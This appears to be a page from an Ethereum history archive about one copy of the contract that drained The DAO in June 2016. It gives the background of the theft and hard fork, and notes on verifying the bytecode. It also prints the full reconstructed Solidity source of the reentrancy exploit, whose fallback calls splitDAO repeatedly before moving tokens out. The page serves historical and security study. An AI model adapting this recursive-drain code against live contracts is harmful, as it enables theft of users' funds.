Bytecode verified via sibling
This contract shares identical runtime bytecode with DAOReentrancyExploit (0xc0ee9db1...) which has been verified through compiler archaeology.
Second-wave DAO drain contract deployed June 17, 2016 during the attack. Byte-identical to the primary reentrancy exploit. Structural reconstruction.
Historical Significance
This contract is one of the byte-identical instances of the malicious contract that drained The DAO on June 17, 2016. Together the instances removed about 3.6 million ether, worth roughly 60 million US dollars at the time and close to 15 percent of all ether then in circulation, routing it into a child DAO subject to a 28 day withdrawal delay.
The theft forced the most contentious decision in Ethereum's history. On July 20, 2016 the network executed a hard fork at block 1,920,000 that moved the drained funds to a recovery contract and effectively reversed the theft. Part of the community rejected the fork on the principle of immutability and continued the original chain as Ethereum Classic (ETC), while the forked chain kept the name Ethereum (ETH).
References:
Context
The DAO was a decentralized venture fund launched in April and May 2016 by the German startup slock.it, founded by Christoph Jentzsch, Simon Jentzsch, and Stephan Tual. Its crowdsale gathered more than 12.7 million ether, over 150 million US dollars at the time, the largest crowdfunding event created up to that point. Token holders could exit through a splitDAO function whose reward path sent ether before clearing the caller's token balance, the ordering flaw that made reentrancy possible.
After the attack, the White Hat Group, including Griff Green and Lefteris Karapetsas, deployed contracts using the same exploit to move the remaining vulnerable ether beyond the attacker's reach. Following the July 20, 2016 hard fork, recovered funds were made claimable through a WithdrawDAO contract.
Token Information
Key Facts
Source Verified
Compiles with solc 0.3.5 (2016-06-14 nightly, commit 371690f0, optimizer on) to a byte-for-byte match of the on-chain 2142-byte runtime, with the sole exception of five identifier names whose original spellings cannot be recovered from bytecode (two public getters at slots 5 and 7, the onlyOwner trigger 0x625e847d, the setter 0x7f9f519f, and the event topic 0xbab6859b). Placeholder names limit, owner2, attack, setLimit, and NewLimit are used for those five. Everything else is confirmed exact. Verified by placeholder-substitution (0 differing bytes), Panoramix decompilation, and on-chain usage of every function.
Heuristic Analysis
The following characteristics were detected through bytecode analysis and may not be accurate.
Homestead Era
The first planned hard fork. Removed the canary contract, adjusted gas costs.
Bytecode Overview
Verified Source Available
Source verified through compiler archaeology and exact bytecode matching.
View Verification ProofShow source code (Solidity)
// Submitted by EthereumHistory (ethereumhistory.com)
contract DAOInterface {
function balanceOf(address addr) returns (uint);
function splitDAO(uint proposalID, address newCurator) returns (bool);
function vote(uint proposalID, bool supportsProposal) returns (uint);
function transfer(address to, uint amount) returns (bool);
function rewardAccount() returns (address);
}
contract DAOReentrancyExploit {
address public owner;
address public curator;
DAOInterface public dao;
uint public counter;
uint public proposalID;
uint public limit;
address public next;
address public owner2;
event NewOwner(address newOwner);
event Transfer(address to, uint value);
event Vote(uint proposalID, bool position);
event SetDAO(address dao);
event SplitDAO(uint proposalID, address next);
event NewLimit(uint limit);
event WRONG(string reason, address who);
function DAOReentrancyExploit(address _dao) {
owner = msg.sender;
dao = DAOInterface(_dao);
}
function() returns (bool) {
if (msg.sender != dao.rewardAccount()) {
WRONG("constuctor fail", msg.sender);
return true;
}
if (counter > limit - 1) {
dao.transfer(next, dao.balanceOf(this));
counter = 1;
return true;
}
counter++;
dao.splitDAO(proposalID, curator);
return true;
}
function setOwner(address _owner) returns (bool) {
if (msg.sender != owner) throw;
NewOwner(_owner);
owner = _owner;
return true;
}
function attack() returns (bool) {
if (msg.sender != owner) throw;
counter = 1;
owner2.send(this.balance);
dao.splitDAO(proposalID, curator);
return true;
}
function setDao(address _dao) returns (bool) {
if (msg.sender != owner) throw;
dao = DAOInterface(_dao);
SetDAO(dao);
return true;
}
function setLimit(uint _limit) returns (bool) {
if (msg.sender != owner) throw;
limit = _limit;
NewLimit(_limit);
return true;
}
function transfer(address _to, uint _amount) returns (bool) {
if (msg.sender != owner) throw;
dao.transfer(_to, _amount);
Transfer(_to, _amount);
return true;
}
function splitDAO(uint _proposalID, address _curator, address _next, uint _limit, address _owner2) returns (bool) {
if (msg.sender != owner) throw;
next = _next;
counter = 1;
curator = _curator;
proposalID = _proposalID;
limit = _limit;
owner2 = _owner2;
owner2.send(this.balance);
dao.splitDAO(proposalID, curator);
SplitDAO(proposalID, next);
return true;
}
function vote(uint _proposalID, bool _supports) returns (bool) {
if (msg.sender != owner) throw;
dao.vote(_proposalID, _supports);
Vote(_proposalID, _supports);
return true;
}
}External Links
Related contracts
DAO drain contract deployed by the attacker EOA on June 15, 2016. Byte-identical to the primary reentrancy exploit. Structural reconstruction.
0xf835a0...977cc4June 15, 2016Development version of the DAO reentrancy exploit, deployed June 13, 2016, two days before the attack. Distinct 1886-byte build with a my_balance getter.
0x137f33...8af200June 13, 2016Development version of the DAO reentrancy exploit, deployed June 13, 2016, two days before the attack. Distinct 1886-byte build with a my_balance getter.
0x388707...1fdcebJune 14, 2016Reentrancy contract from the June 17, 2016 DAO attack. Its owner triggered recursive splitDAO calls to drain The DAO. Exact structural source reconstruction.
0xc0ee9d...d47b89June 15, 2016Second-wave DAO drain contract deployed June 17, 2016 during the attack. Byte-identical to the primary reentrancy exploit. Structural reconstruction.
0xca04d2...6f2cb3June 17, 2016DAO reentrancy exploit redeployed June 19, 2016, after the attack. Byte-identical to the drain contracts but never configured. Structural reconstruction.
0xbe3e6a...76aa82June 20, 2016